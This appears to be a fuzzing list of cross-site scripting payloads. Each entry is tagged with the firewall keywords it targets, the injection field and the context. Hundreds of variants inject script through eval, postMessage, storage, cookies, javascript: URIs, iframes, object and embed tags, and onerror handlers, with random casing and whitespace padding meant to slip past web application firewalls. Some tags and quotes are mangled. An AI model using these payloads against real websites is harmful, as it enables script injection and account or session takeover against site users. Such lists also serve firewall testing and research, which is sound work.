[WAF:script,onerror|FIELD:postmessage|CONTEXT:js|ENCODING:utf8]'; wIndoW.addEveNtListENer('MessAge', funcTion(E){EVAL(e.daTa)}); //

[WAF:script,onerror|FIELD:postmessage|CONTEXT:js|ENCODING:utf8]'; wInDow.addEventListener('message', FUNCTION(e){EvAl(e.data)}); //

[WAF:script,onerror|FIELD:postmessage|CONTEXT:js|ENCODING:utf8]'; wINdOW.addEventListener('message', FUnction(e){EVal(e.data)}); //

[WAF:script,onerror|FIELD:postmessage|CONTEXT:js|ENCODING:utf8]' ;  window.addEventListener ( 'message', function ( e )  { eval ( e.data )  }  )  ;  //

[WAF:script,onerror|FIELD:postmessage|CONTEXT:js|ENCODING:utf8]'; WINdOW.addeveNtlIstEner('mESsAGe', FUnCtioN(E){evAL(e.data)}); //

[WAF:alert,onerror|FIELD:localstorage|CONTEXT:js|ENCODING:utf8]'; localStorage.setItem('x', '<img src=x onerror=prompt(1)>'); //

[WAF:alert,onerror|FIELD:localstorage|CONTEXT:js|ENCODING:utf8]' ;  localStorage.setItem ( 'x', ' <img src = x onerror = prompt ( 1 ) > ' )  ;  //

[WAF:alert,onerror|FIELD:localstorage|CONTEXT:js|ENCODING:utf8]; localStorage.setItem([ICODE]x, [/ICODE]<img src=x onerror=prompt(1)>'); //

[WAF:alert,onerror|FIELD:localstorage|CONTEXT:js|ENCODING:utf8]'; localStorage.setItem('x', '<img src=x ONeRrOR=PRoMPt(1)>'); //

[WAF:alert,onerror|FIELD:localstorage|CONTEXT:js|ENCODING:utf8]'; localStorage.setItem('x', '<imG src=x onerROr=prOMpT(1)>'); //

[WAF:alert,onerror|FIELD:localstorage|CONTEXT:js|ENCODING:utf8]'; localStorage.setItem('x', '<IMg src=x onerror=prompt(1)>'); //

[WAF:alert,onerror|FIELD:localstorage|CONTEXT:js|ENCODING:utf8]'; lOCaLSToRage.setITem('X', '<img src=x onErRoR=pROmpt(1)>'); //

[WAF:alert,onerror|FIELD:localstorage|CONTEXT:js|ENCODING:utf8]'; localsToRage.sEtitEm('x', '<iMg Src=X onerrOr=PRomPt(1)>'); //

[WAF:alert,onerror|FIELD:localstorage|CONTEXT:js|ENCODING:utf8]'; localStorage.setItem('x', '<img src=x OneRror=prompt(1)>'); //

[WAF:script|FIELD:sessionstorage|CONTEXT:js|ENCODING:utf8]'; sessionStorage.setItem('x', '<svg onload=alert(1)>'); //

[WAF:script|FIELD:sessionstorage|CONTEXT:js|ENCODING:utf8]'; SeSsIonStorage.SetITEM('x', '<SVg onlOAd=ALERt(1)>'); //

[WAF:script|FIELD:sessionstorage|CONTEXT:js|ENCODING:utf8]'; sessionSTOrage.seTItEm('X', '<SVG OnLoAD=aleRt(1)>'); //

[WAF:script|FIELD:sessionstorage|CONTEXT:js|ENCODING:utf8]'; sessionStorage.setItem('x', '<svg ONLOAd=ALerT(1)>'); //

[WAF:script|FIELD:sessionstorage|CONTEXT:js|ENCODING:utf8]'; sessionStorage.setItem('x', '<svG onLOAd=alERT(1)>'); //

[WAF:script|FIELD:sessionstorage|CONTEXT:js|ENCODING:utf8]'; sessionStorage.setItem('x', '<svG onload=alert(1)>'); //

[WAF:script|FIELD:sessionstorage|CONTEXT:js|ENCODING:utf8]; sessionStorage.setItem([ICODE]x, [/ICODE]<svg onload=alert(1)>'); //

[WAF:script|FIELD:sessionstorage|CONTEXT:js|ENCODING:utf8]'; sessionStorage.setItem('x', '<svg onLOAD=alert(1)>'); //

[WAF:script|FIELD:sessionstorage|CONTEXT:js|ENCODING:utf8]' ;  sessionStorage.setItem ( 'x', ' <svg onload = alert ( 1 ) > ' )  ;  //

[WAF:alert|FIELD:cookie|CONTEXT:http|ENCODING:utf8]Cookie: session=alert(1)//

[WAF:alert|FIELD:cookie|CONTEXT:http|ENCODING:utf8]Cookie: session=aLERt(1)//

[WAF:alert|FIELD:cookie|CONTEXT:http|ENCODING:utf8]COokIe: SESsIoN=aLert(1)//

[WAF:alert|FIELD:cookie|CONTEXT:http|ENCODING:utf8]CooKie: Session=alERt(1)//

[WAF:alert|FIELD:cookie|CONTEXT:http|ENCODING:utf8]Cookie: session=aLert(1)//

[WAF:alert|FIELD:cookie|CONTEXT:http|ENCODING:utf8]Cookie

:



session

=

alert

(

1

)

//

[WAFnerror|FIELD:cookie|CONTEXT:js|ENCODING:utf8]'; document.cookie = "x=<img src=x onerror=alert(1)>"; //

[WAFnerror|FIELD:cookie|CONTEXT:js|ENCODING:utf8]'; document.cookie = "x=<iMg src=x onerror=alert(1)>"; //

[WAFnerror|FIELD:cookie|CONTEXT:js|ENCODING:utf8]' ;  document.cookie  =  "x =  <img src = x onerror = alert ( 1 ) > " ;  //

[WAFnerror|FIELD:cookie|CONTEXT:js|ENCODING:utf8]`; document.cookie = `x=<img src=x onerror=alert(1)>'; //

[WAFnerror|FIELD:cookie|CONTEXT:js|ENCODING:utf8]'; dOcUmEnT.cookie = "x=<iMG src=x OneRror=AlERt(1)>"; //

[WAFnerror|FIELD:cookie|CONTEXT:js|ENCODING:utf8]'; dOcUMeNt.coOkiE = "x=<Img sRc=x onerrOr=alerT(1)>"; //

[WAFnerror|FIELD:cookie|CONTEXT:js|ENCODING:utf8]'; doCumenT.cookie = "x=<img src=x OneRrOr=aLERT(1)>"; //

[WAFnerror|FIELD:cookie|CONTEXT:js|ENCODING:utf8]'; document.cookie = "x=<img src=x oNerrOR=alert(1)>"; //

[WAFnerror|FIELD:cookie|CONTEXT:js|ENCODING:utf8]'; documENT.CooKie = "x=<imG src=x ONERRor=aLeRt(1)>"; //

[WAF:|FIELD:domxss|CONTEXT:url|ENCODING:utf8]#<img src=x onerror=alert(1)>

[WAF:|FIELD:domxss|CONTEXT:url|ENCODING:utf8]#<img src=x oneRROr=ALerT(1)>

[WAF:|FIELD:domxss|CONTEXT:url|ENCODING:utf8]#<imG src=x ONERrOr=alERt(1)>

[WAF:|FIELD:domxss|CONTEXT:url|ENCODING:utf8]#<iMg sRc=X oNeRRor=alert(1)>

[WAF:|FIELD:domxss|CONTEXT:url|ENCODING:utf8]#

<img

src

=

x

onerror

=

alert

(

1

)



[WAF:|FIELD:domxss|CONTEXT:url|ENCODING:utf8]#<img SrC=X onerRor=alert(1)>

[WAF:|FIELD:domxss|CONTEXT:url|ENCODING:utf8]#<img src=x ONErrOr=alert(1)>

[WAF:|FIELD:domxss|CONTEXT:url|ENCODING:utf8]#<iMG src=x onerror=alert(1)>

[WAF:|FIELD:domxss|CONTEXT:js|ENCODING:utf8]'; location.hash = "#<img src=x onerror=alert(1)>"; //

[WAF:|FIELD:domxss|CONTEXT:js|ENCODING:utf8]' ;  location.hash  =  "# <img src = x onerror = alert ( 1 ) > " ;  //

[WAF:|FIELD:domxss|CONTEXT:js|ENCODING:utf8]'; location.hash = "#<img src=x ONERrOR=alert(1)>"; //

[WAF:|FIELD:domxss|CONTEXT:js|ENCODING:utf8]'; lOCatIoN.hash = "#<img src=X oNerrOr=alErt(1)>"; //

[WAF:|FIELD:domxss|CONTEXT:js|ENCODING:utf8]'; location.hash = "#<img src=x onERrOr=alert(1)>"; //

[WAF:|FIELD:domxss|CONTEXT:js|ENCODING:utf8]; location.hash = #<img src=x onerror=alert(1)>'; //

[WAF:|FIELD:domxss|CONTEXT:js|ENCODING:utf8]'; location.hash = "#<iMG Src=x oneRRor=aleRT(1)>"; //

[WAF:|FIELD:domxss|CONTEXT:js|ENCODING:utf8]'; location.hash = "#<IMg src=x onErROr=aLERT(1)>"; //

[WAF:script,alert,onerror|FIELD:domxss|CONTEXT:js|ENCODING:utf8]'; location = 'javascript:alert(1)'; //

[WAF:script,alert,onerror|FIELD:domxss|CONTEXT:js|ENCODING:utf8]'; location = 'JAVasCRIPT:aLErT(1)'; //

[WAF:script,alert,onerror|FIELD:domxss|CONTEXT:js|ENCODING:utf8]'

;



location



=



'javascript

:

alert

(

1

)

'

;



//

[WAF:script,alert,onerror|FIELD:domxss|CONTEXT:js|ENCODING:utf8]'; lOcAtiOn = 'JAvascRIPt:aLeRt(1)'; //

[WAF:script,alert,onerror|FIELD:domxss|CONTEXT:js|ENCODING:utf8]'; locAtiON = 'javasCript:AlERT(1)'; //

[WAF:script,alert,onerror|FIELD:domxss|CONTEXT:js|ENCODING:utf8]'; location = 'javascrIpt:ALErT(1)'; //

[WAF),script,alert|FIELD:eval|CONTEXT:js|ENCODING:utf8]'; eval('prompt(1)'); //

[WAF),script,alert|FIELD:eval|CONTEXT:js|ENCODING:utf8]'; Eval('pROmPt(1)'); //

[WAF),script,alert|FIELD:eval|CONTEXT:js|ENCODING:utf8]'; EvaL('PRomPt(1)'); //

[WAF),script,alert|FIELD:eval|CONTEXT:js|ENCODING:utf8]' ;  eval ( 'prompt ( 1 ) ' )  ;  //

[WAF),script,alert|FIELD:eval|CONTEXT:js|ENCODING:utf8]'; eVAL('prOmpt(1)'); //

[WAF),script,alert|FIELD:eval|CONTEXT:js|ENCODING:utf8]'; EVAl('PRompT(1)'); //

[WAF),script,alert|FIELD:eval|CONTEXT:js|ENCODING:utf8]'; Function('alert(1)')(); //

[WAF),script,alert|FIELD:eval|CONTEXT:js|ENCODING:utf8]'; FuNcTIon('AleRt(1)')(); //

[WAF),script,alert|FIELD:eval|CONTEXT:js|ENCODING:utf8]' ;  Function ( 'alert ( 1 ) ' )  (  )  ;  //

[WAF),script,alert|FIELD:eval|CONTEXT:js|ENCODING:utf8]'; funCTIOn('AlERt(1)')(); //

[WAF),script,alert|FIELD:eval|CONTEXT:js|ENCODING:utf8]'; FUnctION('ALERT(1)')(); //

[WAF),script,alert|FIELD:eval|CONTEXT:js|ENCODING:utf8]'; FuncTION('AleRt(1)')(); //

[WAF),script,alert|FIELD:eval|CONTEXT:js|ENCODING:utf8]`; Function(`alert(1)')(); //

[WAF),script,onerror|FIELD:function|CONTEXT:js|ENCODING:utf8]'; setTimeout('alert(1)', 0); //

[WAF),script,onerror|FIELD:function|CONTEXT:js|ENCODING:utf8]'; SetTimEout('Alert(1)', 0); //

[WAF),script,onerror|FIELD:function|CONTEXT:js|ENCODING:utf8]'; setTimeout('ALErt(1)', 0); //

[WAF),script,onerror|FIELD:function|CONTEXT:js|ENCODING:utf8]'; setTimeout('alERT(1)', 0); //

[WAF),script,onerror|FIELD:function|CONTEXT:js|ENCODING:utf8]' ;  setTimeout ( 'alert ( 1 ) ', 0 )  ;  //

[WAF),script,onerror|FIELD:function|CONTEXT:js|ENCODING:utf8]'; seTtIMEout('alert(1)', 0); //

[WAF),script,onerror|FIELD:function|CONTEXT:js|ENCODING:utf8]'; setInterval('confirm(1)', 0); //

[WAF),script,onerror|FIELD:function|CONTEXT:js|ENCODING:utf8]'; SetInTeRvAL('COnFIRm(1)', 0); //

[WAF),script,onerror|FIELD:function|CONTEXT:js|ENCODING:utf8]'; sEtInTErval('CONFirm(1)', 0); //

[WAF),script,onerror|FIELD:function|CONTEXT:js|ENCODING:utf8]`; setInterval(`confirm(1)', 0); //

[WAF),script,onerror|FIELD:function|CONTEXT:js|ENCODING:utf8]'; setInterval('confirM(1)', 0); //

[WAF),script,onerror|FIELD:function|CONTEXT:js|ENCODING:utf8]' ;  setInterval ( 'confirm ( 1 ) ', 0 )  ;  //

[WAF),script,onerror|FIELD:function|CONTEXT:js|ENCODING:utf8]'; setInterval('CoNFiRM(1)', 0); //

[WAF),alert,onerror|FIELD:function|CONTEXT:js|ENCODING:utf8]'; requestAnimationFrame(function(){alert(1)}); //

[WAF),alert,onerror|FIELD:function|CONTEXT:js|ENCODING:utf8]'; requestAnimationFrame(fUncTION(){aleRt(1)}); //

[WAF),alert,onerror|FIELD:function|CONTEXT:js|ENCODING:utf8]' ;  requestAnimationFrame ( function (  )  { alert ( 1 )  }  )  ;  //

[WAF),alert,onerror|FIELD:function|CONTEXT:js|ENCODING:utf8]'; requestAnimationFrame(functIOn(){AleRT(1)}); //

[WAF),alert,onerror|FIELD:function|CONTEXT:js|ENCODING:utf8]'; ReqUestanimatioNFraME(fuNCtioN(){ALErT(1)}); //

[WAF),alert,onerror|FIELD:function|CONTEXT:js|ENCODING:utf8]'; requEstAniMationFRame(funCtion(){AlERt(1)}); //

[WAF:script,alert|FIELD:import|CONTEXT:js|ENCODING:utf8]'; import('data:text/javascript,alert(1)'); //

[WAF:script,alert|FIELD:import|CONTEXT:js|ENCODING:utf8]`; import(`data:text/javascript,alert(1)'); //

[WAF:script,alert|FIELD:import|CONTEXT:js|ENCODING:utf8]'; iMpOrt('data:TEXT/JaVaSCRiPT,aleRt(1)'); //

[WAF:script,alert|FIELD:import|CONTEXT:js|ENCODING:utf8]' ;  import ( 'data : text/javascript,alert ( 1 ) ' )  ;  //

[WAF:script,alert|FIELD:import|CONTEXT:js|ENCODING:utf8]'; imPoRt('dAta:tEXt/jAvascript,alErt(1)'); //

[WAF:script,alert|FIELD:import|CONTEXT:js|ENCODING:utf8]'; import('data:text/javasCRIPT,AlERt(1)'); //

[WAF:script,alert|FIELD:import|CONTEXT:js|ENCODING:utf8]'; import('data:text/javAScriPt,aLerT(1)'); //

[WAF:script,alert|FIELD:worker|CONTEXT:js|ENCODING:utf8]'; new Worker('data:text/javascript,alert(1)'); //

[WAF:script,alert|FIELD:worker|CONTEXT:js|ENCODING:utf8]'; nEw WorkEr('dATa:Text/jaVAScrIpT,aleRT(1)'); //

[WAF:script,alert|FIELD:worker|CONTEXT:js|ENCODING:utf8]'; new Worker('data:text/JavAScrIpT,AlERt(1)'); //

[WAF:script,alert|FIELD:worker|CONTEXT:js|ENCODING:utf8]'; new Worker('data:text/JAvaSCripT,aleRt(1)'); //

[WAF:script,alert|FIELD:worker|CONTEXT:js|ENCODING:utf8]`; new Worker(`data:text/javascript,alert(1)'); //

[WAF:script,alert|FIELD:worker|CONTEXT:js|ENCODING:utf8]' ;  new Worker ( 'data : text/javascript,alert ( 1 ) ' )  ;  //

[WAF:script,alert|FIELD:worker|CONTEXT:js|ENCODING:utf8]'; New WorkEr('dAta:tExt/JAvaScrIPT,ALErt(1)'); //

[WAF:script,onerror|FIELD:blob|CONTEXT:js|ENCODING:utf8]'; new Blob(['<script>alert(1)</script>'], {type: 'text/html'}); //

[WAF:script,onerror|FIELD:blob|CONTEXT:js|ENCODING:utf8]'; new Blob(['<ScRIpt>alert(1)</ScRIpt>'], {type: 'text/html'}); //

[WAF:script,onerror|FIELD:blob|CONTEXT:js|ENCODING:utf8]'; new Blob(['<ScRIpT>alErT(1)</ScRIpT>'], {type: 'text/html'}); //

[WAF:script,onerror|FIELD:blob|CONTEXT:js|ENCODING:utf8]' ;  new Blob ( [' <script> alert ( 1 )  </script> '],  { type :  'text/html' }  )  ;  //

[WAF:script,onerror|FIELD:blob|CONTEXT:js|ENCODING:utf8]'; new Blob(['<script>ALERt(1)</script>'], {type: 'text/html'}); //

[WAF:script,onerror|FIELD:blob|CONTEXT:js|ENCODING:utf8]'; new BLob(['<SCrIpt>Alert(1)</ScRipT>'], {TyPe: 'text/Html'}); //

[WAF:script,onerror|FIELD:blob|CONTEXT:js|ENCODING:utf8]'; new BLoB(['<SCRiPT>AlERT(1)</SCRiPT>'], {TYPe: 'tExT/hTmL'}); //

[WAF:alert,onerror|FIELD:iframe|CONTEXT:html|ENCODING:utf8]><iframe srcdoc="<script>prompt(1)</script>">

[WAF:alert,onerror|FIELD:iframe|CONTEXT:html|ENCODING:utf8]><iFrAMe srcdoc="<scRIPt>prompt(1)</scrIpT>">

[WAF:alert,onerror|FIELD:iframe|CONTEXT:html|ENCODING:utf8]><iframe srcdoc='<script>prompt(1)</script>'>

[WAF:alert,onerror|FIELD:iframe|CONTEXT:html|ENCODING:utf8]><IFRaMe srcdoc="<ScRIPT>pRoMpT(1)</ScRIPT>">

[WAF:alert,onerror|FIELD:iframe|CONTEXT:html|ENCODING:utf8]><iframe srcdoc="<scrIpT>PROmpt(1)</scrIpT>">

[WAF:alert,onerror|FIELD:iframe|CONTEXT:html|ENCODING:utf8]>    <iframe    srcdoc    =    "<script>    prompt    (    1    )        </script>    ">

[WAF:alert,onerror|FIELD:iframe|CONTEXT:html|ENCODING:utf8]><iFrAMe srcdoc="<sCrIpT>prompt(1)</sCrIpT>">

[WAF:alert,onerror|FIELD:iframe|CONTEXT:html|ENCODING:utf8]><iframe SRCdoc="<ScripT>pRompt(1)</ScripT>">

[WAF:script|FIELD:sandbox|CONTEXT:html|ENCODING:utf8]><iframe sandbox="allow-scripts" srcdoc="<script>alert(1)</script>">

[WAF:script|FIELD:sandbox|CONTEXT:html|ENCODING:utf8]><IFRaMe sandbox="allow-ScrIPts" srcdoc="<Script>ALERT(1)</Script>">

[WAF:script|FIELD:sandbox|CONTEXT:html|ENCODING:utf8]><IfRaME sandbox="allow-scripts" srcdoc="<scRIPT>alert(1)</scRIPT>">

[WAF:script|FIELD:sandbox|CONTEXT:html|ENCODING:utf8]><iframe sandbox="allow-SCriPts" srcdoc="<SCriPt>AlERt(1)</SCriPt>">

[WAF:script|FIELD:sandbox|CONTEXT:html|ENCODING:utf8]><iframe sandbox='allow-scripts' srcdoc='<script>alert(1)</script>'>

[WAF:script|FIELD:sandbox|CONTEXT:html|ENCODING:utf8]> <iframe sandbox = "allow-scripts" srcdoc = "<script> alert ( 1 )  </script> ">

[WAF:script|FIELD:sandbox|CONTEXT:html|ENCODING:utf8]><IfrAME sAndBox="allow-scriPtS" srcDOc="<Script>aLErt(1)</scRipt>">

[WAF:script|FIELD:sandbox|CONTEXT:html|ENCODING:utf8]><iframE SanDbox="alLoW-SCRiPTs" srcDoC="<SCRiPT>alERt(1)</SCRiPT>">

[WAFnerror|FIELDbject|CONTEXT:html|ENCODING:utf8]><object data="data:text/html,<script>alert(1)</script>">

[WAFnerror|FIELDbject|CONTEXT:html|ENCODING:utf8]><object data="data:text/html,<ScRIPt>ALeRT(1)</ScRIPt>">

[WAFnerror|FIELDbject|CONTEXT:html|ENCODING:utf8]><OBjeCT data="data:text/html,<sCript>Alert(1)</sCript>">

[WAFnerror|FIELDbject|CONTEXT:html|ENCODING:utf8]><oBJeCt data="DAta:text/htMl,<scriPt>aleRt(1)</SCrIpt>">

[WAFnerror|FIELDbject|CONTEXT:html|ENCODING:utf8]><OBJeCT data="data:text/html,<scRiPt>alert(1)</scRiPt>">

[WAFnerror|FIELDbject|CONTEXT:html|ENCODING:utf8]> <object data = "data : text/html,<script> alert ( 1 )  </script> ">

[WAFnerror|FIELDbject|CONTEXT:html|ENCODING:utf8]><objeCT daTA="daTA:texT/hTmL,<SCRIPt>aLErT(1)</SCRIPt>">

[WAF:|FIELD:embed|CONTEXT:html|ENCODING:utf8]><embed src="data:text/html,<script>alert(1)</script>">

[WAF:|FIELD:embed|CONTEXT:html|ENCODING:utf8]><embed SRc="DAtA:teXt/htmL,<sCript>alert(1)</sCrIpT>">

[WAF:|FIELD:embed|CONTEXT:html|ENCODING:utf8]><embEd srC="data:TeXt/htMl,<sCriPT>AlErT(1)</sCriPT>">

[WAF:|FIELD:embed|CONTEXT:html|ENCODING:utf8]><embed src=data:text/html,<script>alert(1)</script>>

[WAF:|FIELD:embed|CONTEXT:html|ENCODING:utf8]> <embed src = "data : text/html,<script> alert ( 1 )  </script> ">

[WAF:|FIELD:embed|CONTEXT:html|ENCODING:utf8]><EmbEd src="data:text/html,<sCrIPt>alert(1)</sCrIPt>">

[WAF:|FIELD:embed|CONTEXT:html|ENCODING:utf8]><EmBed src="data:text/html,<SCRIpT>aleRT(1)</SCRIpT>">

[WAF:|FIELD:embed|CONTEXT:html|ENCODING:utf8]><embed src="data:text/html,<scRIpT>aLERT(1)</scRIpT>">

[WAF:script,alert|FIELD:applet|CONTEXT:html|ENCODING:utf8]><applet code="javascript:alert(1)">

[WAF:script,alert|FIELD:applet|CONTEXT:html|ENCODING:utf8]><applet code="jAvascRIPt:alert(1)">

[WAF:script,alert|FIELD:applet|CONTEXT:html|ENCODING:utf8]><aPplEt cOde="jAVASCRIpt:ALERT(1)">

[WAF:script,alert|FIELD:applet|CONTEXT:html|ENCODING:utf8]><applet code="JaVasCrIpT:AlERt(1)">

[WAF:script,alert|FIELD:applet|CONTEXT:html|ENCODING:utf8]><applet code='javascript:alert(1)'>

[WAF:script,alert|FIELD:applet|CONTEXT:html|ENCODING:utf8]>    <applet    code    =    "javascript    :    alert    (    1    )    ">  

[WAF:script,alert|FIELD:applet|CONTEXT:html|ENCODING:utf8]><applet code="javASCrIPT:ALeRT(1)">

[WAF:script,onerror|FIELD:meta|CONTEXT:html|ENCODING:utf8]><meta http-equiv="refresh" content="0;url=javascript:alert(1)">

[WAF:script,onerror|FIELD:meta|CONTEXT:html|ENCODING:utf8]><mETa http-equiv="refresh" content="0;url=jAVAscrIpt:AlErT(1)">

[WAF:script,onerror|FIELD:meta|CONTEXT:html|ENCODING:utf8]><meta http-equiv="refresh" content="0;url=jAvaScRiPt:alerT(1)">

[WAF:script,onerror|FIELD:meta|CONTEXT:html|ENCODING:utf8]><meta hTtP-equIv="rEfrEsh" cONtEnt="0;urL=jaVasCRiPT:AlErT(1)">

[WAF:script,onerror|FIELD:meta|CONTEXT:html|ENCODING:utf8]><MEtA http-equiv="refresh" content="0;url=javascript:alert(1)">

[WAF:script,onerror|FIELD:meta|CONTEXT:html|ENCODING:utf8]>    <meta    http-equiv    =    "refresh"    content    =    "0    ;    url    =    javascript    :    alert    (    1    )    ">  

[WAF:script,onerror|FIELD:meta|CONTEXT:html|ENCODING:utf8]><mETa http-equIv="refreSh" cONTent="0;uRl=jAvasCript:alErt(1)">

[WAF:alert,onerror|FIELD:base|CONTEXT:html|ENCODING:utf8]><base href="javascript:alert(1)">

[WAF:alert,onerror|FIELD:base|CONTEXT:html|ENCODING:utf8]><bAse hreF="javascript:alert(1)">

[WAF:alert,onerror|FIELD:base|CONTEXT:html|ENCODING:utf8]><base href='javascript:alert(1)'>

[WAF:alert,onerror|FIELD:base|CONTEXT:html|ENCODING:utf8]>

<base

href

=

"javascript

:

alert

(

1

)

">



[WAF:alert,onerror|FIELD:base|CONTEXT:html|ENCODING:utf8]><base href="JavAsCrIPT:aleRt(1)">

[WAF:alert,onerror|FIELD:base|CONTEXT:html|ENCODING:utf8]><base hREF="JAvaScrIpT:aLeRt(1)">

[WAF:alert,onerror|FIELD:base|CONTEXT:html|ENCODING:utf8]><base href="JAvaScRIPt:aLeRT(1)">

[WAF:script|FIELD:isindex|CONTEXT:html|ENCODING:utf8]><isindex action="javascript:alert(1)" type="image">

[WAF:script|FIELD:isindex|CONTEXT:html|ENCODING:utf8]><isindex aCTion="JavaScripT:alerT(1)" type="iMAge">

[WAF:script|FIELD:isindex|CONTEXT:html|ENCODING:utf8]><isindex action="JavAsCrIpT:aleRt(1)" type="image">

[WAF:script|FIELD:isindex|CONTEXT:html|ENCODING:utf8]>    <isindex    action    =    "javascript    :    alert    (    1    )    "    type    =    "image">  

[WAF:script|FIELD:isindex|CONTEXT:html|ENCODING:utf8]><isindex action="JaVAscrIPt:AlerT(1)" type="image">

[WAF:script|FIELD:isindex|CONTEXT:html|ENCODING:utf8]><isINdeX ActiON="javAscript:aLert(1)" TyPe="image">

[WAFnerror|FIELD:form|CONTEXT:html|ENCODING:utf8]><form action="javascript:alert(1)"><input type="submit">

[WAFnerror|FIELD:form|CONTEXT:html|ENCODING:utf8]><form action="jAvASCrIPt:AlerT(1)"><input type="submit">

[WAFnerror|FIELD:form|CONTEXT:html|ENCODING:utf8]><FORm ACtIoN="JavaScript:aleRt(1)"><Input type="submit">

[WAFnerror|FIELD:form|CONTEXT:html|ENCODING:utf8]><fORm action="javascript:alert(1)"><iNpUt type="submit">

[WAFnerror|FIELD:form|CONTEXT:html|ENCODING:utf8]><FOrm aCTIon="jAvaScRipT:alerT(1)"><inPUT Type="suBMIt">

[WAFnerror|FIELD:form|CONTEXT:html|ENCODING:utf8]><form action=javascript:alert(1)><input type=submit>

[WAFnerror|FIELD:form|CONTEXT:html|ENCODING:utf8]><fORM action="JAVaScRipt:aleRT(1)"><input type="submit">

[WAFnerror|FIELD:form|CONTEXT:html|ENCODING:utf8]>    <form    action    =    "javascript    :    alert    (    1    )    ">        <input    type    =    "submit">  

[WAF:|FIELD:button|CONTEXT:html|ENCODING:utf8]><button formaction="javascript:alert(1)">click</button>

[WAF:|FIELD:button|CONTEXT:html|ENCODING:utf8]><button formaction="JAVAsCrIpt:AlErt(1)">click</button>

[WAF:|FIELD:button|CONTEXT:html|ENCODING:utf8]><bUttOn FormaCtIon="javASCript:ALert(1)">Click</button>

[WAF:|FIELD:button|CONTEXT:html|ENCODING:utf8]> <button formaction = "javascript : alert ( 1 ) "> click </button>

[WAF:|FIELD:button|CONTEXT:html|ENCODING:utf8]><buTToN formaction="jAVaScRipT:Alert(1)">click</buTToN>

[WAF:|FIELD:button|CONTEXT:html|ENCODING:utf8]><BUttON formaction="javascript:alert(1)">click</BUttON>

[WAF:|FIELD:button|CONTEXT:html|ENCODING:utf8]><button ForMaCTioN="JaVasCriPt:alert(1)">cliCK</buttOn>

[WAF:script,alert|FIELD:input|CONTEXT:html|ENCODING:utf8]><input type="image" src="x" formaction="javascript:alert(1)">

[WAF:script,alert|FIELD:input|CONTEXT:html|ENCODING:utf8]><inPuT TYpE="imAge" Src="X" fOrMAcTion="JavAScRipt:alErt(1)">

[WAF:script,alert|FIELD:input|CONTEXT:html|ENCODING:utf8]>    <input    type    =    "image"    src    =    "x"    formaction    =    "javascript    :    alert    (    1    )    ">  

[WAF:script,alert|FIELD:input|CONTEXT:html|ENCODING:utf8]><iNput type="image" src="x" formaction="javascript:alert(1)">

[WAF:script,alert|FIELD:input|CONTEXT:html|ENCODING:utf8]><InpUT type="image" src="x" formaction="jAVAscRipt:ALErT(1)">

[WAF:script,alert|FIELD:input|CONTEXT:html|ENCODING:utf8]><InPUt tyPe="iMAgE" src="x" fOrmacTIon="jaVaScrIPt:alErT(1)">

[WAF:script,alert|FIELD:input|CONTEXT:html|ENCODING:utf8]><input type='image' src='x' formaction='javascript:alert(1)'>

[WAF:script,alert|FIELD:input|CONTEXT:html|ENCODING:utf8]><input type="image" src="x" formaction="JaVASCrIPt:ALErt(1)">

[WAF:script,onerror|FIELD:bgsound|CONTEXT:html|ENCODING:utf8]><bgsound src="javascript:alert(1)">

[WAF:script,onerror|FIELD:bgsound|CONTEXT:html|ENCODING:utf8]><bgsound src='javascript:alert(1)'>

[WAF:script,onerror|FIELD:bgsound|CONTEXT:html|ENCODING:utf8]><bGSound src="JAVascrIPT:alERT(1)">

[WAF:script,onerror|FIELD:bgsound|CONTEXT:html|ENCODING:utf8]> <bgsound src = "javascript : alert ( 1 ) ">

[WAF:script,onerror|FIELD:bgsound|CONTEXT:html|ENCODING:utf8]><bgsound src="jAVAsCriPT:alerT(1)">

[WAF:script,onerror|FIELD:bgsound|CONTEXT:html|ENCODING:utf8]><bgsound src="JAVASCRipt:ALERt(1)">

[WAF:script,onerror|FIELD:bgsound|CONTEXT:html|ENCODING:utf8]><bgsound sRC="javAScRipt:aLeRt(1)">

[WAF:alert,onerror|FIELD:audio|CONTEXT:html|ENCODING:utf8]><audio src="x" onerror="prompt(1)">

[WAF:alert,onerror|FIELD:audio|CONTEXT:html|ENCODING:utf8]><auDIo src="x" OneRRoR="prOMPT(1)">

[WAF:alert,onerror|FIELD:audio|CONTEXT:html|ENCODING:utf8]><audio src="x" OnerRoR="prompt(1)">

[WAF:alert,onerror|FIELD:audio|CONTEXT:html|ENCODING:utf8]>    <audio    src    =    "x"    onerror    =    "prompt    (    1    )    ">  

[WAF:alert,onerror|FIELD:audio|CONTEXT:html|ENCODING:utf8]><auDIo src="x" onerror="prompt(1)">

[WAF:alert,onerror|FIELD:audio|CONTEXT:html|ENCODING:utf8]><audio src="x" ONError="ProMpt(1)">

[WAF:alert,onerror|FIELD:audio|CONTEXT:html|ENCODING:utf8]><auDio srC="x" ONeRroR="PromPT(1)">

[WAF:alert,onerror|FIELD:audio|CONTEXT:html|ENCODING:utf8]><audio src="X" oNeRror="pROmpt(1)">

[WAF:script|FIELD:video|CONTEXT:html|ENCODING:utf8]><video src="x" onerror="alert(1)">

[WAF:script|FIELD:video|CONTEXT:html|ENCODING:utf8]> <video src = "x" onerror = "alert ( 1 ) ">

[WAF:script|FIELD:video|CONTEXT:html|ENCODING:utf8]><viDEo sRC="x" oNeRROR="AlERT(1)">

[WAF:script|FIELD:video|CONTEXT:html|ENCODING:utf8]><video src="x" ONeRRor="alert(1)">

[WAF:script|FIELD:video|CONTEXT:html|ENCODING:utf8]><viDEO src="x" onerror="alert(1)">

[WAF:script|FIELD:video|CONTEXT:html|ENCODING:utf8]><video src="x" OnErRoR="ALErT(1)">

[WAF:script|FIELD:video|CONTEXT:html|ENCODING:utf8]><VIDeO src="x" oneRror="aLeRT(1)">

[WAF:script|FIELD:video|CONTEXT:html|ENCODING:utf8]><vIdeO src="x" oNErroR="alErT(1)">

[WAF:script|FIELD:video|CONTEXT:html|ENCODING:utf8]><video src='x' onerror='alert(1)'>

[WAFnerror|FIELD:source|CONTEXT:html|ENCODING:utf8]><source src="x" onerror="alert(1)">

[WAFnerror|FIELD:source|CONTEXT:html|ENCODING:utf8]> <source src = "x" onerror = "alert ( 1 ) ">

[WAFnerror|FIELD:source|CONTEXT:html|ENCODING:utf8]><souRCE srC="x" OnErROr="aLErT(1)">

[WAFnerror|FIELD:source|CONTEXT:html|ENCODING:utf8]><Source src="x" ONeRROr="aleRt(1)">

[WAFnerror|FIELD:source|CONTEXT:html|ENCODING:utf8]><source src="x" OneRror="alErT(1)">

[WAFnerror|FIELD:source|CONTEXT:html|ENCODING:utf8]><source src="x" ONerror="alERt(1)">

